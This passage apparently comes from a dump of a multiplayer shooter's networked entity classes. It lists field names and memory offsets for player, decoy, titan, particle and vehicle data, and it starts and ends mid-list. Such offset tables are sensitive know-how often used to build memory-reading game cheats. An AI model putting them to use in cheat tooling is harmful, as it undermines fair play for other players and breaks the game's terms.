+DT_LocalPlayerExclusive!0x2d68 m_playAnimationEntityBlocker +DT_LocalPlayerExclusive!0x2d6c m_playAnimationEntityBlockerDucking +DT_LocalPlayerExclusive!0x2d74 m_boosting +DT_LocalPlayerExclusive!0x2d75 m_activateBoost +DT_LocalPlayerExclusive!0x2d76 m_repeatedBoost +DT_LocalPlayerExclusive!0x2d78 m_boostMeter +DT_LocalPlayerExclusive!0x2d7c m_jetpack +DT_LocalPlayerExclusive!0x2d7d m_activateJetpack +DT_LocalPlayerExclusive!0x2d7e m_jetpackAfterburner +DT_LocalPlayerExclusive!0x2d7f m_gliding +DT_LocalPlayerExclusive!0x2d80 m_glideMeter +DT_LocalPlayerExclusive!0x2d84 m_glideRechargeDelayAccumulator +DT_LocalPlayerExclusive!0x2d88 m_hovering +DT_LocalPlayerExclusive!0x2d8c m_lastJumpHeight +DT_LocalPlayerExclusive!0x2d90 m_touchingUpdraftTriggers +DT_LocalPlayerExclusive!0x2dd0 m_touchingUpdraftTriggersCount +DT_LocalPlayerExclusive!0x2dd4 m_touchingSlipTriggers +DT_LocalPlayerExclusive!0x2e14 m_touchingSlipTriggersCount +DT_LocalPlayerExclusive!0x2e18 m_slipAirRestrictDirection +DT_LocalPlayerExclusive!0x2e24 m_slipAirRestrictTime +DT_LocalPlayerExclusive!0x2f60 m_replayImportantSounds_networkTableSoundID +DT_LocalPlayerExclusive!0x2f70 m_replayImportantSounds_beginTime +DT_LocalPlayerExclusive!0x2fad m_viewConeActive +DT_LocalPlayerExclusive!0x2fae m_viewConeParented +DT_LocalPlayerExclusive!0x2fb0 m_viewConeParity +DT_LocalPlayerExclusive!0x324c m_hConstraintEntity +DT_LocalPlayerExclusive!0x3250 m_vecConstraintCenter +DT_LocalPlayerExclusive!0x325c m_flConstraintRadius +DT_LocalPlayerExclusive!0x3260 m_flConstraintWidth +DT_LocalPlayerExclusive!0x3264 m_flConstraintSpeedFactor +DT_LocalPlayerExclusive!0x3268 m_bConstraintPastRadius +DT_LocalPlayerExclusive!0x32c4 m_observerModeStaticPosition +DT_LocalPlayerExclusive!0x32d0 m_observerModeStaticAngles +DT_LocalPlayerExclusive!0x32dc m_observerModeStaticFOVOverride +DT_LocalPlayerExclusive!0x3348 m_lastKillTime +DT_LocalPlayerExclusive!0x336c m_wallRunStartTime +DT_LocalPlayerExclusive!0x3370 m_wallRunClearTime +DT_LocalPlayerExclusive!0x3384 m_dodging +DT_LocalPlayerExclusive!0x33de m_dodgingInAir +DT_LocalPlayerExclusive!0x33f8 m_airSpeed +DT_LocalPlayerExclusive!0x33fc m_airAcceleration +DT_LocalPlayerExclusive!0x3428 m_firstPersonProxy +DT_LocalPlayerExclusive!0x342c m_predictedFirstPersonProxy +DT_LocalPlayerExclusive!0x343c m_hardpointEntity +DT_LocalPlayerExclusive!0x3474 m_petTitanMode +DT_LocalPlayerExclusive!0x347c m_hThirdPersonEnt +DT_LocalPlayerExclusive!0x3480 m_thirdPersonShoulderView +DT_LocalPlayerExclusive!0x34e4 m_thirdPerson +DT_LocalPlayerExclusive!0x35ac m_playerLookTargetEntity +DT_LocalPlayerExclusive!0x35b0 m_playerLookTargetOffset +DT_LocalPlayerExclusive!0x35f0 m_viewConeLerpTime +DT_LocalPlayerExclusive!0x3844 m_flLaggedMovementValue +DT_LocalPlayerExclusive!0x3848 m_lastMoveInputTime +DT_LocalPlayerExclusive!0x384c m_ignoreEntityForMovementUntilNotTouching +DT_LocalPlayerExclusive!0x3d94 m_lungeTargetEntity +DT_LocalPlayerExclusive!0x3d98 m_isLungingToPosition +DT_LocalPlayerExclusive!0x3d9c m_lungeTargetPosition +DT_LocalPlayerExclusive!0x3da8 m_lungeStartPositionOffset +DT_LocalPlayerExclusive!0x3db4 m_lungeEndPositionOffset +DT_LocalPlayerExclusive!0x3dc0 m_lungeStartTime +DT_LocalPlayerExclusive!0x3dc4 m_lungeEndTime +DT_LocalPlayerExclusive!0x3dc8 m_lungeCanFly +DT_LocalPlayerExclusive!0x3dc9 m_lungeLockPitch +DT_LocalPlayerExclusive!0x3dcc m_lungeStartPitch +DT_LocalPlayerExclusive!0x3dd0 m_lungeSmoothTime +DT_LocalPlayerExclusive!0x3dd4 m_lungeMaxTime +DT_LocalPlayerExclusive!0x3dd8 m_lungeMaxEndSpeed +DT_LocalPlayerExclusive!0x4244 m_nearbyPusherCount +DT_LocalPlayerExclusive!0x4254 m_pushAwayFromTopAcceleration +DT_LocalPlayerExclusive!0x4264 m_minimapTargetZoomScale +DT_LocalPlayerExclusive!0x4268 m_minimapTargetLerpTime +DT_LocalPlayerExclusive!0x4270 m_playerScriptNetDataExclusive +DT_LocalPlayerExclusive!0x427c m_pingOffset +DT_LocalPlayerExclusive!0x4298 m_skydiveForwardPoseValueVelocity +DT_LocalPlayerExclusive!0x42a0 m_skydiveForwardPoseValueCurrent +DT_LocalPlayerExclusive!0x42a4 m_skydiveSidePoseValueVelocity +DT_LocalPlayerExclusive!0x42ac m_skydiveSidePoseValueCurrent +DT_LocalPlayerExclusive!0x42b0 m_skydiveYawVelocity +DT_LocalPlayerExclusive!0x42b4 m_skydiveIsNearLeviathan +DT_LocalPlayerExclusive!0x42d4 m_skydiveStartTime +DT_LocalPlayerExclusive!0x42d8 m_skydiveEndTime +DT_LocalPlayerExclusive!0x42dc m_skydiveAnticipateStartTime +DT_LocalPlayerExclusive!0x42e0 m_skydiveAnticipateEndTime +DT_LocalPlayerExclusive!0x42e4 m_skydiveDistanceToLand +DT_LocalPlayerExclusive!0x42f8 m_skydiveFreelookEnabled +DT_LocalPlayerExclusive!0x42fc m_skydiveFreelookLockedAngle +DT_LocalPlayerExclusive!0x4310 m_skydiveFollowing +DT_LocalPlayerExclusive!0x4314 m_skydiveUnfollowVelocity +DT_LocalPlayerExclusive!0x4324 m_skydiveLeviathanHitPosition +DT_LocalPlayerExclusive!0x4330 m_skydiveLeviathanHitNormal +DT_LocalPlayerExclusive!0x433c m_skydiveSlipVelocity +DT_LocalPlayerExclusive!0x4348 m_skydiveFromUpdraft +DT_LocalPlayerExclusive!0x4350 m_twitchRewardBits +DT_LocalPlayerExclusive!0x4360 m_playerKnockBacks +DT_LocalPlayerExclusive!0x43e0 m_updraftCount +DT_LocalPlayerExclusive!0x43e4 m_updraftStage +DT_LocalPlayerExclusive!0x43e8 m_updraftEnterTime +DT_LocalPlayerExclusive!0x43ec m_updraftLeaveTime +DT_LocalPlayerExclusive!0x43f0 m_updraftMinShakeActivationHeight +DT_LocalPlayerExclusive!0x43f4 m_updraftMaxShakeActivationHeight +DT_LocalPlayerExclusive!0x43f8 m_updraftLiftActivationHeight +DT_LocalPlayerExclusive!0x43fc m_updraftLiftSpeed +DT_LocalPlayerExclusive!0x4400 m_updraftLiftAcceleration +DT_LocalPlayerExclusive!0x4404 m_updraftLiftExitDuration +DT_LocalPlayerExclusive!0x4408 m_updraftSlowTime +DT_LocalPlayerExclusive!0x440c m_armsModelIndex +DT_LocalPlayerExclusive!0x4410 m_deathFieldIndex +``` +
+
+class DT_LootGrabber extends DT_DynamicProp + +``` +{ + m_minimapData: DT_MinimapBaseEntityData, + m_impactEffectColorID: Int, + m_lootBeingGrabbed: Int, + m_lootGrabDist: Float, +} +``` + +### Offsets + +``` +DT_LootGrabber!0x0948 m_minimapData +DT_LootGrabber!0x1640 m_impactEffectColorID +DT_LootGrabber!0x1648 m_lootBeingGrabbed +DT_LootGrabber!0x164c m_lootGrabDist +``` +
+
+class DT_MinimapBaseEntityData + +``` +{ + visibilityDefaultFlag: DataTable, + visibilityShowFlag: DataTable, + flags: Int, + zOrder: Int, + customState: Int, + objectScale: Float, +} +``` + +### Offsets + +``` +DT_MinimapBaseEntityData!0x0000 visibilityDefaultFlag +DT_MinimapBaseEntityData!0x0020 visibilityShowFlag +DT_MinimapBaseEntityData!0x0040 flags +DT_MinimapBaseEntityData!0x0044 zOrder +DT_MinimapBaseEntityData!0x0048 customState +DT_MinimapBaseEntityData!0x004c objectScale +``` +
+
+class DT_MovieDisplay extends DT_BaseEntity + +``` +{ + m_bEnabled: Int, + m_bLooping: Int, + m_szMovieFilename: String, + m_szGroupName: String, + m_szExternalAudioFilename: String, + m_bStretchToFill: Int, + m_bLetterbox: Int, + m_bPausesWithClient: Int, + m_bForcedSlave: Int, + m_bUseCustomUVs: Int, + m_flUMin: Float, + m_flUMax: Float, + m_flVMin: Float, + m_flVMax: Float, +} +``` + +### Offsets + +``` +DT_MovieDisplay!0x0a40 m_bEnabled +DT_MovieDisplay!0x0a41 m_bLooping +DT_MovieDisplay!0x0a43 m_szMovieFilename +DT_MovieDisplay!0x0ac3 m_szGroupName +DT_MovieDisplay!0x0b43 m_szExternalAudioFilename +DT_MovieDisplay!0x0b83 m_bStretchToFill +DT_MovieDisplay!0x0b84 m_bLetterbox +DT_MovieDisplay!0x0b85 m_bPausesWithClient +DT_MovieDisplay!0x0b86 m_bForcedSlave +DT_MovieDisplay!0x0b87 m_bUseCustomUVs +DT_MovieDisplay!0x0b8c m_flUMin +DT_MovieDisplay!0x0b90 m_flUMax +DT_MovieDisplay!0x0b94 m_flVMin +DT_MovieDisplay!0x0b98 m_flVMax +``` +
+
+class DT_NPC_SentryTurret extends DT_AI_BaseNPC + +``` +{ + m_turretState: Int, + m_killCount: Int, + m_titanKillCount: Int, + m_eyeAttach: Int, + m_controlPanel: Int, +} +``` + +### Offsets + +``` +DT_NPC_SentryTurret!0x1d40 m_turretState +DT_NPC_SentryTurret!0x1d44 m_killCount +DT_NPC_SentryTurret!0x1d48 m_titanKillCount +DT_NPC_SentryTurret!0x1d4c m_eyeAttach +DT_NPC_SentryTurret!0x1d50 m_controlPanel +``` +
+
+class DT_NPC_Titan extends DT_AI_BaseNPC + +``` +{ + m_decalIndex: Int, + m_inventory: DT_WeaponInventory, + m_selectedOffhands: DataTable, + m_titanSoul: Int, + m_grappleHook: Int, + m_grapple: DT_GrappleData, + m_grappleActive: Int, + m_canStand: Int, +} +``` + +### Offsets + +``` +DT_NPC_Titan!0x0e98 m_decalIndex +DT_NPC_Titan!0x19b0 m_inventory +DT_NPC_Titan!0x1a1e m_selectedOffhands +DT_NPC_Titan!0x1aa0 m_titanSoul +DT_NPC_Titan!0x1d40 m_grappleHook +DT_NPC_Titan!0x1d48 m_grapple +DT_NPC_Titan!0x1dd8 m_grappleActive +DT_NPC_Titan!0x1dd9 m_canStand +``` +
+
+class DT_NearbyPushers + +``` +{ + m_nearbyPushers: DataTable, +} +``` + +### Offsets + +``` +DT_NearbyPushers!0x40f4 m_nearbyPushers +``` +
+
+class DT_OverlayVars + +``` +{ + m_AnimOverlay: DataTable, + m_AnimOverlayCount: Int, +} +``` + +### Offsets + +``` +DT_OverlayVars!0x1608 m_AnimOverlay +DT_OverlayVars!0x16e0 m_AnimOverlayCount +``` +
+
+class DT_ParticleSystem + +``` +{ + m_localOrigin: Vector, + moveparent: Int, + m_parentAttachmentType: Int, + m_parentAttachmentIndex: Int, + m_fEffects: Int, + m_visibilityFlags: Int, + m_iTeamNum: Int, + m_localAngles: Vector, + m_hOwnerEntity: Int, + m_parentAttachmentHitbox: Int, + m_parentAttachmentModel: Int, + m_realmsBitMask: BitMask, + m_iEffectIndex: Int, + m_nStopType: Int, + m_bActive: Int, + m_bForceRenderAlways: Int, + m_flStartTime: Time, + m_bInSkybox: Int, + m_killForReplay: Int, + m_killIfOverLimit: Int, + m_vServerControlPoints: DataTable, + m_hControlPointEnts: DataTable, + m_controlPointAttachTypes: DataTable, + m_controlPoint1AttachmentIndex: Int, + m_vServerControlPointColorIds: DataTable, + m_parentAttachType: Int, +} +``` + +### Offsets + +``` +DT_ParticleSystem!0x0004 m_localOrigin +DT_ParticleSystem!0x001c moveparent +DT_ParticleSystem!0x0020 m_parentAttachmentType +DT_ParticleSystem!0x0024 m_parentAttachmentIndex +DT_ParticleSystem!0x0044 m_fEffects +DT_ParticleSystem!0x0428 m_visibilityFlags +DT_ParticleSystem!0x0430 m_iTeamNum +DT_ParticleSystem!0x046c m_localAngles +DT_ParticleSystem!0x0480 m_hOwnerEntity +DT_ParticleSystem!0x0834 m_parentAttachmentHitbox +DT_ParticleSystem!0x0838 m_parentAttachmentModel +DT_ParticleSystem!0x0a28 m_realmsBitMask +DT_ParticleSystem!0x0a40 m_iEffectIndex +DT_ParticleSystem!0x0a44 m_nStopType +DT_ParticleSystem!0x0a49 m_bActive +DT_ParticleSystem!0x0a4b m_bForceRenderAlways +DT_ParticleSystem!0x0a4c m_flStartTime +DT_ParticleSystem!0x0a55 m_bInSkybox +DT_ParticleSystem!0x0a56 m_killForReplay +DT_ParticleSystem!0x0a57 m_killIfOverLimit +DT_ParticleSystem!0x0a5c m_vServerControlPoints +DT_ParticleSystem!0x0a98 m_hControlPointEnts +DT_ParticleSystem!0x0aac m_controlPointAttachTypes +DT_ParticleSystem!0x0ac4 m_controlPoint1AttachmentIndex +DT_ParticleSystem!0x0ad4 m_vServerControlPointColorIds +DT_ParticleSystem!0x0adc m_parentAttachType +``` +
+
+class DT_PhysicsProp extends DT_BreakableProp + +``` +{ + m_spawnflags: Int, + m_bAwake: Int, + m_ignoresCollisionWithCombatCharacters: Int, + m_isRolling: Int, + m_networkTableRollSoundId: Int, + m_iPhysicsMode: Int, + m_fMass: Float, + m_collisionMins: Vector, + m_collisionMaxs: Vector, +} +``` + +### Offsets + +``` +DT_PhysicsProp!0x0094 m_spawnflags +DT_PhysicsProp!0x1608 m_bAwake +DT_PhysicsProp!0x1609 m_ignoresCollisionWithCombatCharacters +DT_PhysicsProp!0x160a m_isRolling +DT_PhysicsProp!0x160c m_networkTableRollSoundId +DT_PhysicsProp!0x1638 m_iPhysicsMode +DT_PhysicsProp!0x163c m_fMass +DT_PhysicsProp!0x1640 m_collisionMins +DT_PhysicsProp!0x164c m_collisionMaxs +``` +
+
+class DT_Player extends DT_BaseCombatCharacter + +``` +{ + localdata: DT_LocalPlayerExclusive, + teamshareddata: DT_PlayerTeamShared, + m_passives: Array, + portalnonlocaldata: DT_PortalNonLocalPlayerExclusive, + m_vecAbsOrigin: Vector, + isLocalOriginLocal: Int, + m_fFlags: Int, + m_hGroundEntity: Int, + m_iHealth: Int, + m_flMaxspeed: Float, + m_iMaxHealth: Int, + m_lifeState: Int, + m_decalIndex: Int, + m_inventory: DT_WeaponInventory, + m_selectedOffhands: DataTable, + m_selectedOffhandsPendingHybridAction: DataTable, + m_titanSoul: Int, + m_bZooming: Int, + m_zoomToggleOnStartTime: Time, + m_zoomBaseFrac: Float, + m_zoomBaseTime: Time, + m_zoomFullStartTime: Time, + m_currentFramePlayer: DT_CurrentData_Player, + pl: DT_PlayerState, + m_ammoPoolCapacity: Int, + m_hasBadReputation: Int, + m_happyHourActive: Int, + m_hardwareIcon: String, + m_hardware: Int, + m_platformUserId: BitMask, + m_EadpUserId: BitMask, + m_crossPlayChat: Int, + m_crossPlayChatFriends: Int, + m_classModsActive: BitMask, + m_passives[ 0 ]: BitMask, + m_bleedoutState: Int, + m_bleedoutStartTime: Float, + m_statusEffectsTimedPlayerNV: DataTable, + m_statusEffectsEndlessPlayerNV: DataTable, + m_damageComboLatestUpdateTime: Time, + m_damageComboStartHealth: Int, + m_gestureSequences: DataTable, + m_gestureStartTimes: DataTable, + m_gestureBlendInDuration: DataTable, + m_gestureBlendOutDuration: DataTable, + m_gestureFadeOutStartTime: DataTable, + m_gestureFadeOutDuration: DataTable, + m_gestureAutoKillBitfield: Int, + m_autoSprintForced: Int, + m_fIsSprinting: Int, + m_playerSettingForStickySprintForward: Int, + m_lastSprintPressTime: Time, + m_stickySprintForwardEnableTime: Time, + m_stickySprintForwardDisableTime: Time, + m_damageImpulseNoDecelEndTime: Time, + m_playerVehicles: DataTable, + m_playerVehicleCount: Int, + m_playerVehicleDriven: Int, + m_playerVehicleUseTime: Time, + m_duckState: Int, + m_leanState: Int, + m_canStand: Int, + m_StandHullMin: Vector, + m_StandHullMax: Vector, + m_DuckHullMin: Vector, + m_DuckHullMax: Vector, + m_entitySyncingWithMe: Int, + m_upDir: Vector, + m_traversalState: Int, + m_traversalType: Int, + m_traversalForwardDir: Vector, + m_traversalRefPos: Vector, + m_traversalYawDelta: Float, + m_traversalYawPoseParameter: Int, + m_wallClimbSetUp: Int, + m_wallHanging: Int, + m_grapple: DT_GrappleData, + m_grappleActive: Int, + m_turret: Int, + m_hViewModels: DataTable, + m_viewOffsetEntity: DT_Player_ViewOffsetEntityData, + m_animViewEntity: DT_Player_AnimViewEntityData, + m_activeZipline: Int, + m_ziplineValid3pWeaponLayerAnim: Int, + m_ziplineState: Int, + m_ziplineGrenadeBeginStationEntity: Int, + m_ziplineGrenadeBeginStationAttachmentIndex: Int, + m_isPerformingBoostAction: Int, + m_lastJumpPadTouched: Int, + m_launchCount: Int, + m_melee: DT_PlayerMelee_PlayerData, + m_useCredit: Int, + m_playerFlags: Int, + m_hasMic: Int, + m_inPartyChat: Int, + m_playerMoveSpeedScale: Float, + m_bShouldDrawPlayerWhileUsingViewEntity: Int, + m_iSpawnParity: Int, + m_iObserverMode: Int, + m_hObserverTarget: Int, + m_flDeathTime: Time, + m_lastDodgeTime: Time, + m_timeJetpackHeightActivateCheckPassed: Time, + m_grappleHook: Int, + m_petTitan: Int, + m_xp: Int, + m_skill_mu: Float, + m_bHasMatchAdminRole: Int, + m_ubEFNoInterpParity: Int, + m_hColorCorrectionCtrl: Int, + m_title: String, + m_Shared: DT_PlayerShared, + m_pilotClassIndex: Int, + m_pilotClassActivityModifier: Int, + m_playerScriptNetDataGlobal: Int, + m_helmetType: Int, + m_armorType: Int, + m_controllerModeActive: Int, + m_skydiveForwardPoseValueTarget: Float, + m_skydiveSidePoseValueTarget: Float, + m_skydiveState: Int, + m_skydiveDiveAngle: Float, + m_skydiveIsDiving: Int, + m_skydiveSpeed: Float, + m_skydiveStrafeAngle: Float, + m_skydivePlayerPitch: Float, + m_skydivePlayerYaw: Float, +} +``` + +### Offsets + +``` +DT_Player!0x0000 localdata +DT_Player!0x0000 teamshareddata +DT_Player!0x0000 m_passives +DT_Player!0x0000 portalnonlocaldata +DT_Player!0x0004 m_vecAbsOrigin +DT_Player!0x0010 isLocalOriginLocal +DT_Player!0x0098 m_fFlags +DT_Player!0x041c m_hGroundEntity +DT_Player!0x0420 m_iHealth +DT_Player!0x0424 m_flMaxspeed +DT_Player!0x0550 m_iMaxHealth +DT_Player!0x0770 m_lifeState +DT_Player!0x0e98 m_decalIndex +DT_Player!0x19b0 m_inventory +DT_Player!0x1a1e m_selectedOffhands +DT_Player!0x1a21 m_selectedOffhandsPendingHybridAction +DT_Player!0x1aa0 m_titanSoul +DT_Player!0x1b81 m_bZooming +DT_Player!0x1b84 m_zoomToggleOnStartTime +DT_Player!0x1b88 m_zoomBaseFrac +DT_Player!0x1b8c m_zoomBaseTime +DT_Player!0x1b90 m_zoomFullStartTime +DT_Player!0x2020 m_currentFramePlayer +DT_Player!0x2430 pl +DT_Player!0x24b4 m_ammoPoolCapacity +DT_Player!0x24b8 m_hasBadReputation +DT_Player!0x24b9 m_happyHourActive +DT_Player!0x24c0 m_hardwareIcon +DT_Player!0x24d0 m_hardware +DT_Player!0x24d8 m_platformUserId +DT_Player!0x24e0 m_EadpUserId +DT_Player!0x24e8 m_crossPlayChat +DT_Player!0x24e9 m_crossPlayChatFriends +DT_Player!0x24f0 m_classModsActive +DT_Player!0x25f0 m_passives[ 0 ] +DT_Player!0x2610 m_bleedoutState +DT_Player!0x2614 m_bleedoutStartTime +DT_Player!0x2618 m_statusEffectsTimedPlayerNV +DT_Player!0x2708 m_statusEffectsEndlessPlayerNV +DT_Player!0x27bc m_damageComboLatestUpdateTime +DT_Player!0x27c0 m_damageComboStartHealth +DT_Player!0x27c4 m_gestureSequences +DT_Player!0x27e4 m_gestureStartTimes +DT_Player!0x2804 m_gestureBlendInDuration +DT_Player!0x2824 m_gestureBlendOutDuration +DT_Player!0x2844 m_gestureFadeOutStartTime +DT_Player!0x2864 m_gestureFadeOutDuration +DT_Player!0x2884 m_gestureAutoKillBitfield +DT_Player!0x28c8 m_autoSprintForced +DT_Player!0x28cc m_fIsSprinting +DT_Player!0x28ce m_playerSettingForStickySprintForward +DT_Player!0x28d0 m_lastSprintPressTime +DT_Player!0x28d4 m_stickySprintForwardEnableTime +DT_Player!0x28d8 m_stickySprintForwardDisableTime +DT_Player!0x28f0 m_damageImpulseNoDecelEndTime +DT_Player!0x28fc m_playerVehicles +DT_Player!0x2904 m_playerVehicleCount +DT_Player!0x2908 m_playerVehicleDriven +DT_Player!0x290c m_playerVehicleUseTime +DT_Player!0x2910 m_duckState +DT_Player!0x2914 m_leanState +DT_Player!0x2919 m_canStand +DT_Player!0x291c m_StandHullMin +DT_Player!0x2928 m_StandHullMax +DT_Player!0x2934 m_DuckHullMin +DT_Player!0x2940 m_DuckHullMax +DT_Player!0x294c m_entitySyncingWithMe +DT_Player!0x2950 m_upDir +DT_Player!0x29cc m_traversalState +DT_Player!0x29d0 m_traversalType +DT_Player!0x29fc m_traversalForwardDir +DT_Player!0x2a08 m_traversalRefPos +DT_Player!0x2a34 m_traversalYawDelta +DT_Player!0x2a38 m_traversalYawPoseParameter +DT_Player!0x2a50 m_wallClimbSetUp +DT_Player!0x2a51 m_wallHanging +DT_Player!0x2a70 m_grapple +DT_Player!0x2b00 m_grappleActive +DT_Player!0x2b48 m_turret +DT_Player!0x2b4c m_hViewModels +DT_Player!0x2b60 m_viewOffsetEntity +DT_Player!0x2ba0 m_animViewEntity +DT_Player!0x2ca0 m_activeZipline +DT_Player!0x2cac m_ziplineValid3pWeaponLayerAnim +DT_Player!0x2cb0 m_ziplineState +DT_Player!0x2d44 m_ziplineGrenadeBeginStationEntity +DT_Player!0x2d48 m_ziplineGrenadeBeginStationAttachmentIndex +DT_Player!0x2d89 m_isPerformingBoostAction +DT_Player!0x2e80 m_lastJumpPadTouched +DT_Player!0x2e88 m_launchCount +DT_Player!0x2fb8 m_melee +DT_Player!0x2ff0 m_useCredit +DT_Player!0x3000 m_playerFlags +DT_Player!0x3008 m_hasMic +DT_Player!0x3009 m_inPartyChat +DT_Player!0x300c m_playerMoveSpeedScale +DT_Player!0x3248 m_bShouldDrawPlayerWhileUsingViewEntity +DT_Player!0x32b4 m_iSpawnParity +DT_Player!0x32bc m_iObserverMode +DT_Player!0x32c0 m_hObserverTarget +DT_Player!0x334c m_flDeathTime +DT_Player!0x3388 m_lastDodgeTime +DT_Player!0x33a8 m_timeJetpackHeightActivateCheckPassed +DT_Player!0x3430 m_grappleHook +DT_Player!0x3434 m_petTitan +DT_Player!0x345c m_xp +DT_Player!0x3464 m_skill_mu +DT_Player!0x3468 m_bHasMatchAdminRole +DT_Player!0x3d48 m_ubEFNoInterpParity +DT_Player!0x3d4c m_hColorCorrectionCtrl +DT_Player!0x3d70 m_title +DT_Player!0x40a0 m_Shared +DT_Player!0x40e8 m_pilotClassIndex +DT_Player!0x40ec m_pilotClassActivityModifier +DT_Player!0x426c m_playerScriptNetDataGlobal +DT_Player!0x4274 m_helmetType +DT_Player!0x4278 m_armorType +DT_Player!0x4280 m_controllerModeActive +DT_Player!0x429c m_skydiveForwardPoseValueTarget +DT_Player!0x42a8 m_skydiveSidePoseValueTarget +DT_Player!0x42d0 m_skydiveState +DT_Player!0x42e8 m_skydiveDiveAngle +DT_Player!0x42ec m_skydiveIsDiving +DT_Player!0x42f0 m_skydiveSpeed +DT_Player!0x42f4 m_skydiveStrafeAngle +DT_Player!0x4308 m_skydivePlayerPitch +DT_Player!0x430c m_skydivePlayerYaw +``` +
+
+class DT_PlayerDecoy extends DT_BaseAnimating + +``` +{ + m_cloakEndTime: Float, + m_cloakFadeInEndTime: Time, + m_cloakFadeOutStartTime: Float, + m_cloakFadeInDuration: Float, + m_cloakFlickerAmount: Float, + m_cloakFlickerEndTime: Time, + m_iHealth: Int, + m_iMaxHealth: Int, + m_nameVisibilityFlags: Int, + m_currentState: Int, + m_decoyFlags: Int, + m_lastPulseTime: Time, + m_currentClass: BitMask, + m_classModsActive: BitMask, +} +``` + +### Offsets + +``` +DT_PlayerDecoy!0x019c m_cloakEndTime +DT_PlayerDecoy!0x01a0 m_cloakFadeInEndTime +DT_PlayerDecoy!0x01a4 m_cloakFadeOutStartTime +DT_PlayerDecoy!0x01a8 m_cloakFadeInDuration +DT_PlayerDecoy!0x01ac m_cloakFlickerAmount +DT_PlayerDecoy!0x01b0 m_cloakFlickerEndTime +DT_PlayerDecoy!0x0420 m_iHealth +DT_PlayerDecoy!0x0550 m_iMaxHealth +DT_PlayerDecoy!0x0998 m_nameVisibilityFlags +DT_PlayerDecoy!0x1600 m_currentState +DT_PlayerDecoy!0x1604 m_decoyFlags +DT_PlayerDecoy!0x160c m_lastPulseTime +DT_PlayerDecoy!0x1610 m_currentClass +DT_PlayerDecoy!0x1618 m_classModsActive +``` +
+
+class DT_PlayerMelee_PlayerData + +``` +{ + meleeAttackParity: Int, + attackActive: Int, + attackRecoveryShouldBeQuick: Int, + isSprintAttack: Int, + attackStartTime: Time, + attackHitEntity: Int, + attackHitEntityTime: Time, + attackLastHitNonWorldEntity: Time, + scriptedState: Int, + pendingMeleePress: Int, + lungeBoost: Vector, +} +``` + +### Offsets + +``` +DT_PlayerMelee_PlayerData!0x0008 meleeAttackParity +DT_PlayerMelee_PlayerData!0x000c attackActive +DT_PlayerMelee_PlayerData!0x000d attackRecoveryShouldBeQuick +DT_PlayerMelee_PlayerData!0x000e isSprintAttack +DT_PlayerMelee_PlayerData!0x0010 attackStartTime +DT_PlayerMelee_PlayerData!0x0014 attackHitEntity +DT_PlayerMelee_PlayerData!0x0018 attackHitEntityTime +DT_PlayerMelee_PlayerData!0x001c attackLastHitNonWorldEntity +DT_PlayerMelee_PlayerData!0x0020 scriptedState +DT_PlayerMelee_PlayerData!0x0024 pendingMeleePress +DT_PlayerMelee_PlayerData!0x0028 lungeBoost +``` +
+
+class DT_PlayerTasklist extends DT_BaseEntity + +``` +{ + m_notifyTime: Time, + m_customInt: Int, + m_taskStatus: DataTable, + m_taskType: DataTable, + m_taskCountGoal: DataTable, + m_taskCountNow: DataTable, + m_taskFlags: DataTable, + m_taskGameTimes: DataTable, + m_taskInts: DataTable, + m_taskFloats: DataTable, + m_taskEnts: DataTable, + m_taskStringA: String, + m_taskStringB: String, + m_taskStringC: String, + m_taskStringD: String, + m_taskStringE: String, + m_taskStringF: String, + m_taskStringG: String, + m_taskStringH: String, + m_taskStringI: String, + m_taskStringJ: String, + m_taskStringK: String, + m_taskStringL: String, + m_taskStringM: String, +} +``` + +### Offsets + +``` +DT_PlayerTasklist!0x0a40 m_notifyTime +DT_PlayerTasklist!0x0a44 m_customInt +DT_PlayerTasklist!0x0a48 m_taskStatus +DT_PlayerTasklist!0x0a7c m_taskType +DT_PlayerTasklist!0x0ab0 m_taskCountGoal +DT_PlayerTasklist!0x0ae4 m_taskCountNow +DT_PlayerTasklist!0x0b18 m_taskFlags +DT_PlayerTasklist!0x0b4c m_taskGameTimes +DT_PlayerTasklist!0x0b80 m_taskInts +DT_PlayerTasklist!0x0bb4 m_taskFloats +DT_PlayerTasklist!0x0be8 m_taskEnts +DT_PlayerTasklist!0x0c1c m_taskStringA +DT_PlayerTasklist!0x0c5c m_taskStringB +DT_PlayerTasklist!0x0c9c m_taskStringC +DT_PlayerTasklist!0x0cdc m_taskStringD +DT_PlayerTasklist!0x0d1c m_taskStringE +DT_PlayerTasklist!0x0d5c m_taskStringF +DT_PlayerTasklist!0x0d9c m_taskStringG +DT_PlayerTasklist!0x0ddc m_taskStringH +DT_PlayerTasklist!0x0e1c m_taskStringI +DT_PlayerTasklist!0x0e5c m_taskStringJ +DT_PlayerTasklist!0x0e9c m_taskStringK +DT_PlayerTasklist!0x0edc m_taskStringL +DT_PlayerTasklist!0x0f1c m_taskStringM +``` +
+
+class DT_PlayerTeamShared + +``` +{ + m_healResources_healthTarget: Int, + m_lastTimeDamagedByOtherPlayer: Time, + m_lastTimeDamagedByNPC: Time, + m_lastTimeDidDamageToOtherPlayer: Time, + m_lastTimeDidDamageToNPC: Time, +} +``` + +### Offsets + +``` +DT_PlayerTeamShared!0x24bc m_healResources_healthTarget +DT_PlayerTeamShared!0x2e28 m_lastTimeDamagedByOtherPlayer +DT_PlayerTeamShared!0x2e2c m_lastTimeDamagedByNPC +DT_PlayerTeamShared!0x2e30 m_lastTimeDidDamageToOtherPlayer +DT_PlayerTeamShared!0x2e34 m_lastTimeDidDamageToNPC +``` +
+
+class DT_PlayerVehicle extends DT_BaseAnimatingOverlay + +``` +{ + vehicledriverdata: DT_VehicleDriverExclusive, + vehiclenondriverdata: DT_VehicleNonDriverExclusive, + m_vehiclePlayers: Array, + m_vecViewOffset.x: Float, + m_vecViewOffset.y: Float, + m_vecViewOffset.z: Float, + m_iHealth: Int, + m_localAngles: Vector, + m_iMaxHealth: Int, + m_vehicleDriver: Int, + m_driverActivationTime: Time, + m_driverDeactivationTime: Time, + m_vehiclePlayers[0]: Int, + m_vehiclePlayerCount: Int, + m_vehicleActivated: Int, + m_blockDuckInput: Int, + m_vehicleFlags: Int, + m_vehicleType: Int, + m_vehicleLaunchTime: Float, + m_vehicleVelocity: Vector, + m_vehicleGroundEntity: Int, + m_vehicleGroundNormal: Vector, + m_hoverVehicleIsOnGround: Int, + m_hoverVehicleLastBoostTime: Time, + m_hoverVehicleIsParked: Int, + m_hoverVehicleStunTimeEnd: Float, + m_hoverVehicleThrottle: Float, + m_hoverVehicleBanking: Float, + m_hoverVehicleFrictionLastTime: Float, + m_hoverVehicleFrictionSurfPropOther: Int, + m_hoverVehicleFrictionNormal: Vector, + m_hoverVehicleFrictionPos: 